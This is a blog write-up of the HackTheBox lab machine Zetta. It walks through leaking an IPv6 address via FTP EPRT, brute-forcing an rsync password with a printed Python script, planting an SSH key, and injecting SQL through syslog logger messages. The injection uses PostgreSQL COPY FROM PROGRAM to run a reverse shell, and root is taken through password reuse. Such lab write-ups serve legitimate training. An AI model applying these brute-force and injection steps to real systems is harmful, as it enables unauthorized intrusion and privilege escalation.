#grub.js.org

Hackthebox - Zetta

Overview

What should a hackthebox machine give you? Ideally, it strikes the right balance between introducing you to new ideas, leading you to research knew technologies and techniques, then give you a platform for exploiting them. Zetta was just that; a great combination of novel ideas, coupled with just the right amount of hinting to make it a tough but rewarding box.

Recon

Initial portscanning gives us the following:

nmap -sC -sV -oA nmap/initial 10.10.10.156
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-21 20:39 EST
Nmap scan report for 10.10.10.156
Host is up (0.27s latency).
Not shown: 997 filtered ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Pure-FTPd
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey: 
|   2048 2d:82:60:c1:8c:8d:39:d2:fc:8b:99:5c:a2:47:f0:b0 (RSA)
|   256 1f:1b:0e:9a:91:b1:10:5f:75:20:9b:a0:8e:fd:e4:c1 (ECDSA)
|_  256 b5:0c:a1:2c:1c:71:dd:88:a4:28:e0:89:c9:a3:a0:ab (ED25519)
80/tcp open  http    nginx
|_http-title: Ze::a Share
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Anonymous login is not enabled on the FTP server. Next, we take a look at the webpage.

Web

The web page gives us a few interesting things to read, and some potential hints. The first thing we come across is this:

stuff we do

Great! FXP gets us thinking about FTP bounce attacks. RFC2428 I was unfamiliar with, but let's hold onto that for later.

Further down the page:

ftp credentials

Hmm, where do these credentials come from? Turns out they are generated randomly:

random string

But they work. Any random 32 character string lets us log in to the FTP server. So how about those FTP bounce attacks then? For me, ultimately unfruitful. For a start, we have no secondary address to try to scan, so we're left with trying to find ports that are only locally accessible. I didn't find anything here either however.

RFC2428

So what's this RFC all about then? The crux is that it is an extension to the FTP protocol to allow for the negotiation of connections via IPv6. It introduces the EPRT and EPSV commands, which replace PORT and PASV respectively, generalising them to allow the use of either IPv4 or IPv6.

This is where the hint bells start ringing. Zetta is the 6th letter of the Greek alphabet, and the design of the websites logo also hints at the use of something related to IPv6:

zetta share logo

So why dont we try this. Lets connect to the FTP server and issue an EPRT command to open a connection back to ourselves. This will leak the machine's IPv6 address, which increases the attack services and gives us something new to enumerate.

First, we connect to the FTP services using the random credentials:

nc 10.10.10.156 21
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 500 allowed.
220-Local time is now 23:24. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
USER lYvG4izL2hI2X6FWM4jSY8D2TlMgcpe4
331 User lYvG4izL2hI2X6FWM4jSY8D2TlMgcpe4 OK. Password required
PASS lYvG4izL2hI2X6FWM4jSY8D2TlMgcpe4
230-This server supports FXP transfers
230-OK. Current restricted directory is /
230-0 files used (0%) - authorized: 10 files
230 0 Kbytes used (0%) - authorized: 1024 Kb

Set up a listener (ensure it is listening on IPv6):

nc -lvp 1337
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337

Issue the EPRT command, then a LIST command:

EPRT |2|dead:beef:2::1014|1337|
200-FXP transfer: from 10.10.14.22 to dead:beef:2::1014%160
200 PORT command successful
LIST
150 Connecting to port 1337
226-Options: -l 
226 0 matches total

We recieve a connection locally:

Ncat: Connection from dead:beef::250:56ff:feb9:24b5.
Ncat: Connection from dead:beef::250:56ff:feb9:24b5:52254.

So now we have the machines IPv6 address!

More enumeration

Let's scan it for services:

nmap -6 -sV -sV -p- -oA nmap/six dead:beef::250:56ff:feb9:24b5
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-21 23:51 EST
Nmap scan report for dead:beef::250:56ff:feb9:24b5
Host is up (0.27s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     Pure-FTPd
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10 (protocol 2.0)
80/tcp   open  http    nginx
8730/tcp open  rsync   (protocol version 31)

The machine is running an rsync server! Let's see what we can find.

Rsync

We can start by listing the visible modules modules:

rsync rsync://[dead:beef::250:56ff:feb9:24b5]:8730
****** UNAUTHORIZED ACCESS TO THIS RSYNC SERVER IS PROHIBITED ******

You must have explicit, authorized permission to access this rsync
server. Unauthorized attempts and actions to access or use this 
system may result in civil and/or criminal penalties. 

All activities performed on this device are logged and monitored.

****** UNAUTHORIZED ACCESS TO THIS RSYNC SERVER IS PROHIBITED ******

@ZE::A staff

This rsync server is solely for access to the zetta master server.
The modules you see are either provided for "Backup access" or for
"Cloud sync".


bin             Backup access to /bin
boot            Backup access to /boot
lib             Backup access to /lib
lib64           Backup access to /lib64
opt             Backup access to /opt
sbin            Backup access to /sbin
srv             Backup access to /srv
usr             Backup access to /usr
var             Backup access to /var

Excellent. Modules have been set up as 'backups' or some of the folders in the root filesystem. Maybe there are also unlisted modules for some of the folders we don't see? We go for the easy win:

rsync rsync://[dead:beef::250:56ff:feb9:24b5]:8730/root

...
...

@ERROR: Unknown module 'root'
rsync error: error starting client-server protocol (code 5) at main.c(1675) [Receiver=3.1.3]

Ah well, was worth a try.

How about /etc?

rsync rsync://[dead:beef::250:56ff:feb9:24b5]:8730/etc  
****** UNAUTHORIZED ACCESS TO THIS RSYNC SERVER IS PROHIBITED ******
                                                                                      
You must have explicit, authorized permission to access this rsync
server. Unauthorized attempts and actions to access or use this                       
system may result in civil and/or criminal penalties.            
                                                                                      
All activities performed on this device are logged and monitored.   
                                                                                      
****** UNAUTHORIZED ACCESS TO THIS RSYNC SERVER IS PROHIBITED ******                  
                                                                                      
@ZE::A staff                                                                          
                                                                                      
This rsync server is solely for access to the zetta master server.                    
The modules you see are either provided for "Backup access" or for                    
"Cloud sync".                                                                         
                                                                                      
                                                                                      
drwxr-xr-x          4,096 2019/08/31 15:44:23 .                                       
-rw-r--r--          2,981 2019/07/27 03:01:29 adduser.conf                            
-rw-r--r--             44 2019/07/27 03:03:30 adjtime                                 
-rw-r--r--          1,994 2019/04/18 00:12:36 bash.bashrc                             
-rw-r--r--            367 2018/03/02 15:03:58 bindresvport.blacklist                  
-rw-r--r--          5,713 2019/07/27 03:07:27 ca-certificates.conf                    
-rw-r--r--          1,042 2019/06/23 13:49:01 crontab                                 
-rw-r--r--          2,969 2019/02/26 04:30:35 debconf.conf                                                                                                                   
-rw-r--r--              5 2019/04/19 07:00:00 debian_version        
-rw-r--r--            604 2016/06/26 16:00:56 deluser.conf                            
-rw-r--r--            346 2018/01/14 16:27:01 discover-modprobe.conf
-rw-r--r--              0 2019/07/27 03:01:28 environment       
-rw-r--r--            664 2019/08/27 05:39:06 fstab   
-rw-r--r--            130 2019/01/28 13:56:17 ftpallow 

...

We have access to /etc/. The obvious next step is to check out rsyncd.conf. This gives us a list of all the available modules. This one in particular is interesting:

# Syncable home directory for .dot file sync for me.
# NOTE: Need to get this into GitHub repository and use git for sync.
[home_roy]
        path = /home/roy
        read only = no
        # Authenticate user for security reasons.
        uid = roy
        gid = roy
        auth users = roy
        secrets file = /etc/rsyncd.secrets
        # Hide home module so that no one tries to access it.
        list = false

This gives us a possible avenue for shell access to the box. If we can access this module then we should be able to copy an SSH key into an authorized_keys files and get access. The obvious problem is that we don't have credentials. We can start by setting up a brute force while we investigate other options.

This (slow) script does the trick:

import pexpect
import sys

wordlist = "/usr/share/wordlists/seclists/Passwords/darkweb2017-top1000.txt"

with open(wordlist, 'r') as f:
	for passwd in f.readlines():
		p = pexpect.spawn("/usr/bin/rsync rsync://roy@[dead:beef::250:56ff:feb9:24b5]:8730/home_roy")
		p.expect(b"Password:")
		p.sendline(passwd)
		o = p.read(1024)	
		if b"@ERROR: auth failed on module home_roy" not in o:
			print("Found Password: " + passwd)

In the meantime, I did a bit more research on rsync, but after a few minutes my script returned the password:

python3 brute.py 
Found Password: computer

Now we can list the contents of roy's home directory:

/usr/bin/rsync rsync://roy@[dead:beef::250:56ff:feb9:24b5]:8730/home_roy

...

Password: 
drwxr-xr-x          4,096 2019/07/28 06:52:29 .
lrwxrwxrwx              9 2019/07/27 06:57:06 .bash_history
-rw-r--r--            220 2019/07/27 03:03:28 .bash_logout
-rw-r--r--          3,526 2019/07/27 03:03:28 .bashrc
-rw-r--r--            807 2019/07/27 03:03:28 .profile
-rw-------          4,752 2019/07/27 05:24:24 .tudu.xml
-r--r--r--             33 2019/07/27 05:24:24 user.txt

User flag! For shell, we create a .ssh directory locally, copy an ssh public key into an authorized_keys inside it, then copy everything across into roy's home directory:

cat id_rsa.pub > .ssh/authorized_keys
rsync -avh ./.ssh rsync://roy@[dead:beef::250:56ff:feb9:24b5]:8730/home_roy/

Local recon

In roy's home directory we fine .tudu.xml, a formated todo list specifying a number of different tasks relating to the configuration of the machine. This gives us a good place to start our enumeration. In particular, a section of the list mentions a number of tasks relating to setting up a SYSLOG server:

  • Install Server
  • Configure Server
  • Check Postgresql log for errors after configuration
  • Prototype/test DB push of syslog events
  • Testing
  • Rework syslog configuration to push all events to the DB
  • Find/write GUI for syslog-db access/view

Okay, interesting. So there is likely some system by which system logging is pushed to a database, instead of /var/log/syslog for example. This kind of set up can be useful if for instance you are interested in setting up some kind of graphical interface to access you logs, which is also mentioned in the todo list.

After some browsing, I came accross the /etc/rsyslog.d directory. /etc/rsyslog.conf also existed, but deferred configuration to the contents of the aforementioned directory. Inside the directory we see this:

pgsql conf

So the psql.conf file is only readable by root, but it appears the sysadmin might have made an error. If he used git to track changes in the file, we might be able to recover them.

First we do git log to view commits, then git diff-tree <commit> to view what was added in the latest commit:

git diff tree

Okay! We can read at least some of the configuration file. Its author has also kindly left a link to the site they used as a reference when writing it. Next, I spent a healthy amount of time ready the rsyslog documentation. I also tried the password test1234 listed in the config file but unfortunately it has been changed.

At this point your alarm bells may already be ringing. Essentially, the pgsql.conf file is instructing rsyslog how it should go about constructing an SQL query which it will submit to a local pgsql instance. So do the normal SQL vulnerabilities apple here? If so, what can we leverage them for? Unfortunately, because we aren't able to access the database as roy, we aren't really able to test locally as to whether we can break out of the query being constructed to execute our own queries. Therefore we will need to carefully observe the config file to come up with a query that achieves our RCE.

Exploiting Rsyslog

So which parts of the query do we actually control? Let's take a look at the config again:

rsyslog query

So the query being executed looks something like this:

INSERT INTO syslog_lines (message, devicereportedtime) values ('<controlled_value>','time')

So we should be able to break out of the query with an event like:

test', now()); OTHER_SQL_QUERY; -- -

How can we test this though? And furthermore, how is it helpful given that we aren't able to view the output of our query? Well, interestingly, a feature exists in postgresql that allows for the execution of arbitrary commands/scripts with its COPY .. PROGRAM mechanism. This was even listed as CVE-2019–9193, however the postgresql team have in response stressed that it is not a security vulnerability, but rather a feature of the DBMS. They argue that because the function can only be used by database users that have been granted superusers privileges. Obviously a grey area arises when commands are being run by the superuser on behalf of another user, as is the case in this box where system events are being logged to a database.

In any case, the COPY function allows us to copy TO/FROM the stdin/stdout of a command, with the following syntax:

COPY table_name FROM 'cmd'

Therefore, if we can place a reverse shell on the box, and execute the following command:

logger -p local7.info "test', now()); DROP TABLE IF EXISTS cmd; CREATE TABLE cmd(cmd_output text); COPY cmd FROM PROGRAM \$\$/tmp/sh\$\$; -- -"

And we get a shell as the postgres user:

postgres shell

More recon

If we back up to the postgres user's home directory, we see the following:

postgres home

.ssh is nice, we can sort ourselves out with nicer/persistent access. First though lets have a look through .psql_history:

postgress password

Ah, thats why test1234 didn't work earlier, the postgres user's password has been changed. More interestingly however, looking back over the tudu.xml file from earlier, we see the following element:

<todo done="no" collapse="no">
        <title>Change shared password scheme from <secret>@userid to something more secure.</title>
        <text></text>
</todo>

So maybe the same password schema has been used for root? Indeed it has, and we can simply su to root and collect our flag.